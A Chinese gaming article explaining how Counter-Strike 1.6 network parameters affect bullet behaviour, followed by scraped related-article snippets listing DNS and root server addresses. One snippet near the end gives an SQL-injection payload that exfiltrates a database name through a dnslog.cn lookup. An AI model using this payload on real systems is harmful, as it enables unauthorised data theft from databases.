其实有关游戏的弹道影响问题在很早的一个篇玩家帖子里面简单的讲解过,可能一些老一点的玩家有点印象,不过因为觉得写这些带有强制教
育性的文章是没有什么玩家会去认真去阅读的,所以就在很早就打消了准备讲解一下因为网络参数的设置而对游戏弹道的巨大影响。
在前段时间在逛Esai论坛的时候发现有一个聪明的玩家通过自己的亲身体验重新证实了对游戏的弹道影响其实是网络参数和服务器之间的同步
问题。我感到很高兴至少在中国还是有人去相信和研究网络参数而不一味的套用和模仿使用专业的比赛参数。
而今天我就利用自己的一点时间和利用以前曾经写的有关网络参数对游戏弹道影响的帖子结合国外专业玩家的收费帖子来为大家详细讲解一下
游戏弹道被修改和影响的原因。
首先大家必须要认清楚一些错误的观念:
1、游戏的弹道是无法修改的,只能因为网络的同步(延迟)而受到影响。
2、正版和D版的唯一区别就在于启动的方式不同和认证的方式不同。所以不要去追求什么弹道最接近正版,如果不懂得因为网络参数的直接影
响即使给你正版的CS弹道在你看来也是一样的散乱和漂移。
3、CPL等专业的LAN(即局域网)比赛组织的比赛参数不适合在互联网上比赛混战的玩家使用。
4、因为你的网络条件而直接决定了你与服务器的同步(延迟)所以不要认为比赛参数才是最终参数。如果你还是怎么认为那么你就是忽略了比
赛的环境还跟你现在的环境不一样呢!
好了现在开始就由我来讲解游戏的弹道是如何被网络参数所影响的。不过在这以前我先引用两位玩家自己体验和转贴的一些内容来为后
面我的解释做一个对照。
引用一:来自DcOo玩家zhongdingyong转贴的“简说弹道脚本问题说给那些还在迷惑中的CSer”内容如下:
其实很简单,就是
cl_cmdrate 101
cl_updaterate 101
rate 20000 或 25000
还有别忘了1.6还有个ex_interp 0.01(这个在1。6中是弹道参数)
ex_interp 0.01 这个参数一般都放在userconfig.cfg中,所有的世界高手都是0.01以后出去打lan 只改这些就够了。
ex_interp 0.01 情况下压枪特好,一压就死,反而 0.1 只在墙上描绘的弹道很集中,其实子弹很散。
服务器设置必须sv_maxupdaterate 101
sv_maxrate 25000
当然在lan下sv_maxrate 有设置到8000的
如果OP远程控制可以rcon sv_maxupdaterate 101 等等
所谓的很多人说cl_updaterate 101 卡,是因为你的服务器sv_maxupdaterate 是 30 导致的,30这个数值在正规比赛中是见不到的。。
还有人说PING 高了,比如到30-50的PING ,降低cl_updaterate 到 80或 60。其实这个可以降降,但是如果 PING 在 40以内,用 101 就可以
了。。。
当然有些人说我用 cl_updaterate 30 和 ex_interp 0.1 照样杀人。。
我也可以说, 我闭着眼也能杀人,只不过效率不一样。但是,如果wNv 用30 0.1打比赛,绝对拿不到中国冠军。。。
子弹打在墙上的是客户断自己描绘的,并不是所谓的真实弹道,没必要研究墙上的弹孔!
我还发现某些人打比赛,弹道很NB,震动很大,很齐,后坐力回复超快,我研究了很多人的这些,也问过某些人,发现这是XXX的反后坐
力作用,改config 改不到那种程度。除非 rate 达到 9999999 ,理论上才行。
说明:从上面我们不难看到是一篇典型的讲解CPL等LAN下的比赛组织所使用的服务器端和客户端的参数设置文章。写的是很准确但是却忽略了
对于在互联网上打CS的网络延迟的问题。
引用二:来自Esai网玩家Li0nK写的一篇“再论cl_cmdrate和cl_updaterate”自己的亲身感受。内容如下:
原来我都是用cl_cmdrate 101,cl_updaterate101这个参数。
但是最近总是发现如果在PING30~40的服务器上,在T家的A门处往对面的假木门射击,连射3发的子弹竟然非常飘,第1颗子弹是在准心瞄准处,
而第2发就飘到第1发上面了,第3发子弹更高。
这样总是在对方近距离移动时,枪明明压了,但是就是扫不死人。
后来我把这两个参数都改为80,然后再在同样的位置3连发,这下前2发在一个点上,只有第3发稍微高了一点,弹道明显比都用101的好。
看来在线上,cl_cmdrate和cl_updaterate都用101并非是最理想的设置。
说明:根据玩家自己的亲身感受来重新证明了CPL参数不适合互联网上打CS的玩家设置。那么什么各位是否又重新去考虑过或是修改过以前一直
使用的101所带来的巨大变化么?我想Li0nK是正确的,因为他想变的更强。
好了现在话题转移到我这边来,我就来讲解一下有关网络对于弹道的影响究竟为什么有那么大的变化好了。
首先需要说明的是在游戏中影响了游戏弹道的参数分别是:
cl_cmdrate 、cl_updaterate 、rate 、 ex_interp 、这四个参数。
特别说明:CPL lan比赛强制并且是不能修改的参数标准为:
cl_cmdrate 101 、cl_updaterate 101 、rate 20000 或 25000 、ex_interp 0.01 。
1、为什么CPL强制cl_cmdrate 101 cl_updaterate 101 都是101而不是其它的参数呢?
cl_updaterate是它控制的是每秒钟你从服务器端接收的数据包的数量。因此,它依赖的是你的下载速度。你的“cl_updaterate”值越高,
你和服务器的同步率就越高。既然只有服务器能决定你是否打中了,你当然希望收到足够多的数据包以保持和服务器同步。但是因为你的网络
的环境决定你不能使用101这就好象你用一个试管去接口径是5寸的自来水水龙头,最后的结果当然是你的试管破裂。
cl_cmdrate 101这个参数决定了每秒钟你--即客户端发给服务器多少个数据包。很显然,这个值越高,服务器对你执行的命令的响应就越快
。但是做为中国都是使用1M带宽上网的用户来说,你最大的上行速度也就是54KB而不是1M这就好象你用了一个水桶去接口径只有1CM大小的自来
水水龙头的水一样的道理,最后的结果是你的上行根本达不到要求。
并且需要在这里重新指出的是:你的网络下行完全根据你的网络上行而决定的。比如:你下行可以达到185KB/每秒的速度,而你的上行就只
能达到54KB/每秒的速度。再做一个比较形象的例子就是你在家里使用QQ传文件和你在网吧里面使用QQ传文件时会发现在网吧明显要快于家里,
这是为什么呢?第一:就是网络的带宽大;第二:就是因为是你的上行来决定了你的下行,当上传的速度越快那么你的下载速度也就越快。如
果我记得没有错的话这样的技术叫做“不对称传输”是电信采用的传输方式。
两个参数一起使用后导致的现象就是高ping或是瞬间的爆ping现象发生。其表现出来的形式就是你的ping值将永远大于每方最上面的平均
ping值。而要完全解决ping高的问题最重要的还是跟你的网络环境硬件有重大的关系。如果你换一个2M的带宽上网那么ping值自然就比1MB的小
,这个道理我想也是不用我再多讲的了。
在LAN下你这样设置是对的,之所以设置成这样是因为比赛是在LAN里进行服务器的传输质量高同步高,所以才敢采用101这样的最大的同步
率.
在最后还需要指出的是在服务器中突然出现warning:CL_FlushEntityPacket的问题原因就是使用cl_cmdrate 101 cl_updaterate 101这样的
参数导致客户端无法达到参数所设置的同步数率而出现的lag现象.
服务器端配置文件参数参考:
sv_maxupdaterate 30
// 服务器每秒更新最大频率
// 根据实际网络状况调节
// sv_maxrate / 300 = 要设的值
// 默认=30
// 局域=101
2.为什么rate 要设置成20000 或25000呢?
这个rate 要设置成20000 或25000也都是跟服务器相关的,都不能大过sv_maxrate 25000.所以一般都设置为20000 到25000但是测试得到的
结果是25000是最价的参数.
根据服务器的参数可以计算出来:
sv_maxrate 25000
// 服务器最大传输速率 <0-25000>
// (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值
// 0=无限制
// 局域=25000
好了以上的参数我们先讲解到这里,最后就是一个曾经引起很大争议的参数ex_interp,这个参数在CS中代表了游戏补偿桢的补充命令。
那么究竟它又有什么好争议的呢?甚至到CPL那里随便的修改ex_interp这个参数值都将视为作弊。
如果想搞清楚这些那么就继续往下看:
1、使用ex_interp 0.01和0.1有什么区别呢?
ex_interp 0.1相对0.01来说,特别是在射击中,随机性要大一些。换句话说用ex_interp
0.1的,有时候虽然没有瞄得很准但一样爆了头,有的时候瞄得很准却打不死人……
如果LAN(即局域网)条件下电脑甲用0.01,电脑乙用0.1。当服务器送出数据包A,由于ping值差别很小,基本在1ms左右,可以忽略不计,
所以此数据包A将同时到达电脑甲和乙。那么这时候在两条电脑上会出现什么情况呢?结果就是,等过了10ms,在电脑甲的显示器上才出现数据
包A描述的图象;而再过了90ms(100ms时),在电脑乙的显示器上才会出现数据包A描述的图象。所以其实这里的0.1和0.01的单位就是秒
(s):0.1=0.1s=100ms;0.01=0.01s=10ms。
2、那在这儿10ms或者100ms内这两台电脑都做了些什么呢?
很简单,数据插值。我们知道服务器只能向电脑发出不连续的数据包。在LAN里,updaterate采用的是最大值100。亦就是1秒内服务器向电
脑发出了100个数据包,每10ms发出一个。如果我们的电脑只是按照这些数据包来生成屏幕上出现的图象,尽管10ms很短很短,敏锐的人眼还是
足够让每个人都会觉得图象及其不连续,这就是必须做数据插值用来填充两个数据包间那10ms空白的根本原因。你的电脑正是通过这0.01s或者
0.1s来收集足够的数据进行插值。
3、10ms和100ms插值的不同?
如果熟悉插值的会知道,插值的方法有很多,如果只有两个点,那只能做简单的两点线性插值,也就是两点成一线段。不断做两点线性插
值结果就是一条由很多线段组成的折线。如果有N个点,那么就能采用高阶函数做插值,比如用N-1次多项式做插值,结果是一条很光滑的曲线
。
假设服务器最开始向电脑发出的数据包为A,之后是B、C、D、E和F、G、H、I、J、K,间隔为10ms。电脑甲和乙将同时收到A,但是它们不
会立刻把A画出来。对于采用ex_interp 0.01的电脑甲来说,它要等10ms后收到了B时才开始把A图象在屏幕上画出来,再等到10ms后,电脑才会
画B图象。而对于在画B图象之前那10ms的空白,电脑甲用已知的A和B这两个数据点通过两点线性插值来计算并在屏幕上画出。对于采用
ex_interp 0.1的电脑乙来说,它要等收到A数据包100ms后,也就是当收到了K数据包的时候才开始画出图象A。而对于在A~K这些离散数据之间
10段空白,电脑乙已有11个数据采样点,这样它就可以通过高阶函数来进行非常光滑的数据插值。
所以,ex_interp其实就是给出一个采样时间,10ms和100ms的差别就是100ms的图象更加平滑,因为采样数据点多可以用高阶插值函数。这
就是为什么强调公平的CPL在规则里要求所有人的ex_interp必须相同。
4、服务器端如何协调不同的ex_interp?
正像前面说的,尽管电脑甲和电脑乙同时收到数据包A,但是电脑甲要在10ms的时候才画出图象A,而电脑乙要到100ms时才会画出图象A。
显然,用电脑甲的人会比用电脑乙的早90ms先看到图象A。如果看到A时就要开火,用电脑甲的会不会比用电脑乙的有优势?
答案是不会,因为服务器是知道两台电脑的ex_interp的。这里服务器会存储相当长度的一段历史,当收到来自电脑甲和乙的命令后,
通过下面的公式,也就是根据相应的ex_interp来往前查找历史记录(比如目标的移动路线),以此判断是否击中或者谁先击中。
推算公式如下:
Command Execution Time = Current Server Time - ping - ex_interp
5、为什么CPL强调ex_interp 0.01而不是0.1?
尽管在电脑上看来ex_interp 0.1的图象会比0.01的平滑流畅,但是我们通过上面的公式知道,服务器必须要倒推一段时间的历史记录来对
开火等客户端命令进行判断。这段倒推的时间越长,不可预知的数据误差就会越大。因此ex_interp
0.1相对0.01来说,特别是在射击击中上,随机性要大一些,更加平滑。换句话说用ex_interp 0.1的,有时候虽然没有瞄得很准但一样
爆了头,有的时候瞄得很准却打不死人。当然这些许的随机性对于一般人,对于在几十ping的互联网上打CS的或者枪法稍差一点的人来说是感
觉不出来的,但是对于顶级高手可能就不同了。强调指哪儿打哪儿,强调每台比赛机器尽量和服务器同步,也许这就是CPL规定ex_interp 0.01
的原因。
(这也是LAN里练出来的步枪一般来说比高ping的internet上练出来的要硬的原因,因为互联网上的瞄准是“模糊的”)
补充说明:这里实际上存在一个疑点。从上面的解释看,采用ex_interp 0.1时,A-B之间的插值计算除了用到A这一个过去数据点
,还用到了B到K的10的未来数据点。因此,也许,在计算A-B之间的图象时用到了过多的“未来”的数据,在图象上可能会出现一些不应该出现
的反映“将来”的信息。由于不知道这里的插值函数的具体形式,这个问题存在与否现在无法确定。说不定这才是CPL不让用ex_interp 0.1的
真正原因......但是根据无限天空的测试所得到的结果其实ex_interp根本是无法达到0.01的强制效果的,因为服务器的关系会强制将参数在瞬
间修正为0.028以上的参数来获得更好的同步率和减少丢包的情况发生。
6、如果不是在LAN,updaterate<100会如何?
由于大部分人都是在互联网上打CS的,服务器一般的sv_maxupdaterate都是30(没有专门调过的服务器的fps不会大于100,
sv_maxupdaterate达不到100),也就是服务器每秒只向各位的电脑发出30个数据包,每33ms一个数据包。如果此时还是设置ex_interp为0.01会
如何?大家应该会有经验,这时候会看到屏幕上人物的移动一闪一闪的不连续。原因很简单,由于数据采样时间只有10ms,而数据包间隔却有
33ms,电脑将无法采用哪怕最基本的两点线性插值。电脑只能用另一个方法,根据当前人物的位置和速度来预估计算这33ms中人物的移动(其
实当网络传输过程中丢包过多时,电脑也会用同样的处理办法)。自然,这肯定会跟实际情况有很大出入。当服务器新一轮的数据包传到后,
服务器会强制你的电脑对人物的位置进行修正,这时候就出现了人物动作发闪不连续的现象。
讲解到这里新的问题又重新产生,我们知道如果做为公平性来讲那么我们必须要将ex_interp设置成0.01并且在开CD的情况下那么前面所说的人
物闪动不连续的情况更加的严重。这又是为什么呢?
很简单因为CD的工作原理是在启动的时候强制hl.exe程序反复的进行跟CD内部代码反复验证来获取是否在作弊,于是CD的工作图就是:
HL.exe程序启动==》通过防火墙==》被客户端CD拦截(开始识别比对,错误即拦截)==》进入服务器(开始传送经过服务器端加密的代码)==
》返回到CD客户端==》通过有验证即继续返回,感觉有敏感代码即拦截。==》最后返回到HL.exe程序调用的cstrike文件夹内容。
在这个过程中CD其实在客户端部分就有一个返回代码和一个跟随服务器数据包的返回代码,这样也就是说有三种数据包在返回,根据上面的
理论电脑将无法采用哪怕最基本的两点线性插值这样就造成了电脑的负担过重而重新根据当前人物的位置和速度来预估计算这33ms中人物的移
动的位置进行修正,这时候就出现了人物动作发闪不连续的现象。
通用的解决方法:
在互联网上打CS的时候,你一般是不会知道服务器的sv_maxupdaterate的(其实就算知道也不见得有用,因为服务器输出的数据包不见得就
能达到sv_maxupdaterate)。简单的解决方法就是干脆设cl_updaterate为101,也就是说有来多少数据我就收多少,然后从0.01开始慢慢增加
ex_interp的值,直到电脑屏幕上的图象平滑连续为止。
那么这个方法可行么?我的回答是:“不可行!”
因为我们不知道服务器端的sv_maxupdaterate数值是多少,那么我们也就无法做出很好的同步参数,但是如果使用通用的101那么就将导致你的
网络ping数值永远大于每方平均ping值。而当你的网络能够跟服务器达到一个很好的同步的时候那么你的ping值将永远小于每方平均ping值。
这里就公布做为中国网络环境下使用的比较合适的网络参数:
1M网络环境:
cl_cmdrate 30~40 cl_updaterate 30~40
2M网络环境:
cl_cmdrate 80~85 cl_updaterate 80~85
3M以上网络环境:
cl_cmdrate 101 cl_updaterate 101
而最后提到的“然后从0.01开始慢慢增加ex_interp的值,直到电脑屏幕上的图象平滑连续为止。”这个方法将是最好的测得适合自己的ex_interp的值最佳参数。
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江西:
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新疆:
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202.100.199.8
宁夏:
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202.100.96.68
甘肃:
202.100.72.13
内蒙古:
202.99.224.68
青海:
202.100.128.68
全球路由DNS服务器
全球只有13台路由DNS根服务器,在13台路由服务器中,名字分别为“A”至“M”,其中10台设置在美国,另外各有一台设置于英国、瑞典和日本。下表是这些机器的管理单位、设置地点及最新的IP地址。
名称管理单位及设置地点IP地址
A INTERNIC.NET(美国,弗吉尼亚州) 198.41.0.4
B 美国信息科学研究所(美国,加利弗尼亚州) 128.9.0.107
C PSINet公司(美国,弗吉尼亚州) 192.33.4.12
D 马里兰大学(美国马里兰州) 128.8.10.90
E 美国航空航天管理局[NASA](美国加利弗尼亚州) 192.203.230.10
F 因特网软件联盟(美国加利弗尼亚州) 192.5.5.241
G 美国国防部网络信息中心(美国弗吉尼亚州) 192.112.36.4
H 美国陆军研究所(美国马里兰州) 128.63.2.53
I Autonomica公司(瑞典,斯德哥尔摩) 192.36.148.17
J VeriSign公司(美国,弗吉尼亚州) 192.58.128.30
K RIPE NCC(英国,伦敦) 193.0.14.129
L IANA (美国,弗吉尼亚州) 198.32.64.12
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免费公共DNS服务器IP地址大全
国内常用公共DNS 114 DNS: (114.114.114.114;114.114.115.115) 114DNS安全版(114.114.114.119;114.114.115.119) 114DNS家庭版(114.114.114.110;114.114.115.110) 阿里 AliDNS: (223.5.5.5;223.6.6.6) 百度 BaiduDNS(新增ipv6地址...
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网络显示服务器,服务器网络-什么是网络中所说的服务器
“床”就是保证你和老婆所有程序都能正常运行的服务器。 当然极个别情况除外 去网络手册中查即可知道答案! 服务器干什么用的 从广义上讲,服务器是指网络中能对其它机器提供某些服务的计算机系统(如果一个PC对外提供ftp服务,也可以叫服...
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rp魔兽那个服务器人最多,《魔兽世界》怀旧服RP服务器介绍 什么是...
在这里,有着绅士的圣骑士,阴冷孤僻的盗贼,粗狂豪迈的战士,平衡自然的德鲁伊。当然,这一切都不是必须的,因为在RP服务器中最重要的是你对角色的理解,以及你的扮演。即使是在阴暗处活动的盗贼也可以表现的像一个优雅的绅士,只要你能够自...
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网易dns劫持检测,dns被劫持检测方法有哪些?
1、遇到这种情况,首先是先看看其它人的电脑或手机等设备连接网络是否正常,是. 2、电脑重启后还不行,可以尝试将自己的DNS地址固定为一些免费的、速度比较快的. DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取. 2、IIS7网站监控可以及时防控网站风险,快速准确监控网站是否遭到各种劫持攻击,网站在全国是否能正常打开(查看域名是否被墙),精准的DNS污染检测,具备网站打开速度检测功能,第
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各地的ADSL MODEM VPI、VCI 和DNS的信息
广西 0 35 dns 202.103.224.68 北京 0 35 DNS 202.106.196.115 广东中山 0 35 DNS : 202.96.128.68 湖南 0 35,DNS:211.98.2.4 福建,0 200 ,DNS:202.101.98.55和202.101.98.54 云南 0 35 dns:61.166.150.101 广东湛江 0 80 浙江杭州 8/35 0/
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web服务器基于那个协议,基于HTTP协议的web服务器项目_菜小倪的博客-CS...
基于HTTP 协议推动一个多线程服务器,客户端通过浏览器发送请求,服务器接收并分析客户端的请求方式和资源,从而执行相应的逻辑处理python s ixusr,最终将用户请求的资源以 HTML 页面的方式展现,并能进行差错处理。
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中国电信4g最快服务器IP,中国电信DNS IP地址大全(32个省)_眺过云端的...
中国电信 广东省 东莞市DNS 202.96.172.218 中国电信 广东省 东莞市DNS 125.93.188.250 中国电信 广东省 东莞市DNS 59.36.102.188 中国电信 广东省 东莞市DNS 218.16.97.149 中国电信 广东省 东莞市DNS 218.247.54.1 ...
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路由器显示dns服务器异常怎么办,手机显示DNS异常解决方法(图文)
【导读】手机显示DNS异常怎么办,下面就是191路由网整理的网络知识百科,来看看吧!大家好,我是191路由器网小编,上述问题将由我为大家讲解。手机显示DNS异常的解决方法:1、让手机断开网络进行重新连接。2、重连网络仍然无法解决就考虑是路由器的问题,可以重启路由器进行解决,一般路由器的可能性比较大。3、如果还是无法解决就只能升级系统固件或者直接升级最新的系统,可能是由于旧版本的漏洞问题导致的手机D...
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12个国外免费DNS服务
12个国外免费DNS服务
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无限火力那个服务器最久,lol无限火力上线仅一天各大区相继爆满最热门...
无限火力虽然好玩,但是同样出现了弊端,由于无限乱斗模式火热开启,为了保障玩家们的正常体验,已经限制了部分功能,如比赛记录,自定义模式,训练模式等,来降低服务器的负担! 而且在一同开启游戏的时候,会有一个短暂的等待时间,这段会提示目前...
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国内云服务器厂商该怎么选择?那个比较好?_有头发程序猿的博客-CSDN...
国内云服务器厂商还是很多的,排名前三的分别为阿里云,腾讯云和华为云。 阿里云起步最早,因此在用户数量和技术积累都是非常厉害的,主要在电商,支付,高并发方面有很大优势,典型的案例:淘宝,天猫,支付宝,12306等等。
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全球免费公共 DNS 解析服务器 IP 地址列表推荐 (解决无法上网/加速/防劫持)
全球免费公共 DNS 解析服务器 IP 地址列表推荐 基本上接触过网络相关知识的人应该多少都会听过DNS这个名词。因为 DNS 它非常重要,在我们上网的过程中扮演着重要的角色——“将网址/域名解析成 IP 地址”。 如果配置了不合理的DNS服务器,可能会导致网速缓慢、打不开网站;一些恶意的 DNS 还会让你电脑出现弹窗广告、网站被劫持修改 (中间人攻击)、监听等等一系列的安...
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最新发布 Cisco AnyConnect 客户端 修改默认服务器地址
macOS vim /opt/cisco/anyconnect/profile/Profile.xml <?xml version="1.0" encoding="UTF-8"?><AnyConnectProfile xmlns="http://schemas.xmlsoap.org/encoding/"><ServerList><HostEntry><User>用户名称 </User>
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lol那个服务器有无限火力,lol无限火力2021最新开放时间汇总 英雄联盟...
最近英雄联盟美服测试服已经开启无限火力模式了,那么下面一起来看看国服无限火力2021大概什么时候开放吧。 1、美服测试服的无限火力在1.22日已经开启2、国服无限火力预计会在春节期间上线,等到二月初时,官方应该会透露一些消息...
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服务器架构介绍_yayakfa的博客_什么是服务器架构
一个浏览器非常小,一般也就MB为单位。这是因为大部分工作都是服务器在做。前端页面,逻辑层,数据库,都需要放在服务器端。 浏览器的工作呢,其中包含了写前端界面中html,css,js等相应脚本语言的解释器。服务器端把前端页面的代码通过网络...
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2020 dns排名_2020年新版全球/全国各地ISP的DNS服务器地址表
【第一】国内外知名的公共DNS服务器(排列不分先后):腾讯公共DNS(119.29.29.29、182.254.116.116)阿里公共DNS(223.5.5.5、223.6.6.6)百度公共DNS(180.76.76.76)360安全DNS(123.125.81.6)Google(8.8.8.8、8.8.4.4)114DNS(114.114.114.114、114.114.115.115)Ope...
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国外IP地址汇总
ip route 1.0.0.0 255.255.255.0 10.201.130.13 ip route 1.1.1.0 255.255.255.0 10.201.130.13 ip route 1.2.3.0 255.255.255.0 10.201.130.13 ip route 8.8.4.0 255.255.255.0 10.201.130.13 ip route 8.8.8.0...
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国内外知名公众DNS服务器IP地址列表
当前国内外主流公众DNS服务器列表 国内: CNNIC: 1.2.4.8,210.2.4.8+ AliDNS: 223.5.5.5,223.6.6.6 DNSPodPublicDNS+: 119.29.29.29,182.254.116.116 BAIDUDNS: 180.76.76.76 114DNS:http://green.114dns.com 11...
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国外ipv6服务器网站,国外 ipv6 服务器地址
国外 ipv6 服务器地址 内容精选换一换安全组创建后,您可以在安全组中设置出方向、入方向规则,这些规则会对安全组内部的云服务器出入方向网络流量进行访问控制,当云服务器加入该安全组后,即受到这些访问规则的保护。入方向:指从外部访问安全组规则下的弹性云服务器。出方向:指安全组规则下的弹性云服务器访问安全组外的实例。默认安全组规则请参见默认安全组和规则。常用的安全组规则配置示例请参见查询裸金属服务器私...
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热门推荐 国内外常用公共NTP网络时间同步服务器地址
Stratum-1在顶层,有外部UTC接入,而Stratum-2则从Stratum-1获取时间,Stratum-3从Stratum-2获取时间,以此类推,但Stratum层的总数限制在15以内。不同NTP服务器处理闰秒问题的方式可能不同,如果对时间同步精度存在需求,请关注你使用的NTP服务提供商的公告。NTP提供准确时间,首先要有准确的时间来源,这一时间应该是国际标准时间UTC。pool.ntp.org 是一个以时间服务器的大虚拟集群为上百万的客户端提供可靠的 易用的 网络时间协议(NTP)服务的项目。
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ip地址大全_2020全球公共 DNS 服务器 IP 地址大全
动动大拇指关注哦~全球公共 DNS 服务器 IP 地址大全部分往期回顾:【福利】2020开发者免费资源【福利】每日领取饿了么餐饮红包 截止日期2021年10月3124mail--临时邮箱、临时邮、临时电子邮箱、24小时邮箱国内芯片60个细分领域知名代表企业汇总资料详细说明【福利】2020钜惠流量卡,你值得拥有万兴PDF专家--一站式在线PDF解决方案【福利】企信通-...
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【DNS外带】
DNS_LOG外带 DNSLOG.cn (实际情况中你发现渗透的时候,有布尔型注入,但是很花时间,你有什么别的方法能够加快时间- 解决办法DNS_LOG外带) 普通DNS外带 http://dnslog.cn/ select load_file(concat('\\\\',(select database()),'.tqfkcu.dnslog.cn/abc')) 通过16进制编码DNS外带 select load_file(concat('\\\\',(select substr..
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全国各地DNS地址详细列表
北京DNS地址: 202.96.199.133 、202.96.0.133 、202.106.0.20 、202.106.148.1、 202.97.16.195、 202.106.196.115 上海DNS地址: 202.96.199.132 、202.96.199.133 、202.96.209.5 、202.96.209.6 、202.96.209.133 天津DNS地址: 202.99.9...
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DNS配置外网
dnssec开启,部分dns请求为不信任链导致解析延迟或者解析失败(error显示为不信任)解决方法: vi /etc/named.conf dnssec-enable nodnssec-valication no转载于:https://www.cnblogs.com/Liang-jc/p/9789125.html...
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175.6.172.218 是那个服务器
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